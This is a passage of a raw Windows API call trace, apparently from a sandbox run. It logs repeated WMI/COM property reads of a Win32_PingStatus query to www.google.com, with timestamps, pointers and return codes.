pszText="00000000000000" | out: puBuffLength=0x59ee8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.549] IWbemClassObject:Get (in: This=0x4f432d8, wszName="ResponseTime", lFlags=0, pVal=0x59ee8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489250*=0, plFlavor=0x2489254*=0 | out: pVal=0x59ee8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), pType=0x2489250*=19, plFlavor=0x2489254*=0) returned 0x0 [0140.549] IWbemClassObject:Get (in: This=0x4f432d8, wszName="ResponseTime", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489250*=19, plFlavor=0x2489254*=0 | out: pVal=0x59ee980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), pType=0x2489250*=19, plFlavor=0x2489254*=0) returned 0x0 [0140.549] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0140.549] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0140.549] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.549] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0140.549] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0140.549] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.549] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0140.550] SafeArrayGetDim (psa=0x507480) returned 0x1 [0140.550] SafeArrayGetDim (psa=0x507480) returned 0x1 [0140.550] SafeArrayGetLBound (in: psa=0x507480, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0140.550] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.550] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.550] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.550] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.550] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.550] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.550] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.550] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.550] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.550] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.550] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.550] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.550] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.550] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.550] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.550] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.550] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.551] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.551] SysStringByteLen (bstr="__PATH") returned 0xc [0140.551] SysStringByteLen (bstr="__PATH") returned 0xc [0140.551] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24896fc*=0, plFlavor=0x2489700*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24896fc*=3, plFlavor=0x2489700*=64) returned 0x0 [0140.551] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489730*=0, plFlavor=0x2489734*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2489730*=8, plFlavor=0x2489734*=64) returned 0x0 [0140.551] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.551] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.551] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489788*=0, plFlavor=0x248978c*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489788*=8, plFlavor=0x248978c*=64) returned 0x0 [0140.551] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24897b0*=0, plFlavor=0x24897b4*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24897b0*=8, plFlavor=0x24897b4*=64) returned 0x0 [0140.551] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.551] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.552] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489808*=0, plFlavor=0x248980c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2489808*=8, plFlavor=0x248980c*=64) returned 0x0 [0140.552] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.552] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.552] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24899e4*=0, plFlavor=0x24899e8*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24899e4*=3, plFlavor=0x24899e8*=64) returned 0x0 [0140.552] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489a18*=0, plFlavor=0x2489a1c*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2489a18*=8200, plFlavor=0x2489a1c*=64) returned 0x0 [0140.552] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489a4c*=0, plFlavor=0x2489a50*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2489a4c*=8, plFlavor=0x2489a50*=64) returned 0x0 [0140.552] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.552] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.553] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489a98*=0, plFlavor=0x2489a9c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2489a98*=8, plFlavor=0x2489a9c*=64) returned 0x0 [0140.553] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.553] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.553] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489ae4*=0, plFlavor=0x2489ae8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2489ae4*=8, plFlavor=0x2489ae8*=64) returned 0x0 [0140.553] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.553] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.553] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0140.553] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0140.553] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.553] IWbemClassObject:Get (in: This=0x4f432d8, wszName="WriteErrorStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489d1c*=0, plFlavor=0x2489d20*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489d1c*=0, plFlavor=0x2489d20*=0) returned 0x80041002 [0140.553] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0140.555] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f5b298) returned 0x0 [0140.555] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b298, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0140.555] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f5b298, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f5b2a8) returned 0x0 [0140.555] WbemStatusCodeText:IUnknown:Release (This=0x4f5b298) returned 0x0 [0140.555] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2a8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f5b2a8) returned 0x0 [0140.555] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2a8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0140.556] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b2a8) returned 0x3 [0140.556] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2a8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0140.556] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2a8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0140.556] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2a8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0140.556] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0140.556] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0140.556] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2a8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0140.556] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2a8) returned 0x2 [0140.556] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2a8) returned 0x1 [0140.556] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0140.556] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0140.556] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2a8, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f5b2a8) returned 0x0 [0140.556] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b2a8) returned 0x3 [0140.556] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2a8) returned 0x2 [0140.556] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f5b2a8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0140.556] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.558] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0140.558] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0140.558] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.558] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0140.558] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0140.558] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.558] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0140.558] SafeArrayGetDim (psa=0x5075a0) returned 0x1 [0140.558] SafeArrayGetDim (psa=0x5075a0) returned 0x1 [0140.558] SafeArrayGetLBound (in: psa=0x5075a0, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0140.558] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.558] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.558] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.558] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.558] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.558] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.559] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.559] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.559] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.559] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.559] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.559] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.559] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.559] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.559] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.559] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.559] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.559] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.559] SysStringByteLen (bstr="__PATH") returned 0xc [0140.559] SysStringByteLen (bstr="__PATH") returned 0xc [0140.559] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a0fc*=0, plFlavor=0x248a100*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x248a0fc*=3, plFlavor=0x248a100*=64) returned 0x0 [0140.560] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a130*=0, plFlavor=0x248a134*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x248a130*=8, plFlavor=0x248a134*=64) returned 0x0 [0140.560] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.560] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.560] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a188*=0, plFlavor=0x248a18c*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a188*=8, plFlavor=0x248a18c*=64) returned 0x0 [0140.560] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a1b0*=0, plFlavor=0x248a1b4*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x248a1b0*=8, plFlavor=0x248a1b4*=64) returned 0x0 [0140.560] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.560] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.560] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a208*=0, plFlavor=0x248a20c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x248a208*=8, plFlavor=0x248a20c*=64) returned 0x0 [0140.560] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.560] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.560] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a3e4*=0, plFlavor=0x248a3e8*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x248a3e4*=3, plFlavor=0x248a3e8*=64) returned 0x0 [0140.561] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a418*=0, plFlavor=0x248a41c*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507420*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x248a418*=8200, plFlavor=0x248a41c*=64) returned 0x0 [0140.561] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a44c*=0, plFlavor=0x248a450*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x248a44c*=8, plFlavor=0x248a450*=64) returned 0x0 [0140.561] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.561] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.561] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a498*=0, plFlavor=0x248a49c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x248a498*=8, plFlavor=0x248a49c*=64) returned 0x0 [0140.561] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.561] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.562] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a4f0*=0, plFlavor=0x248a4f4*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x248a4f0*=8, plFlavor=0x248a4f4*=64) returned 0x0 [0140.562] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.562] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.562] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0140.562] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, 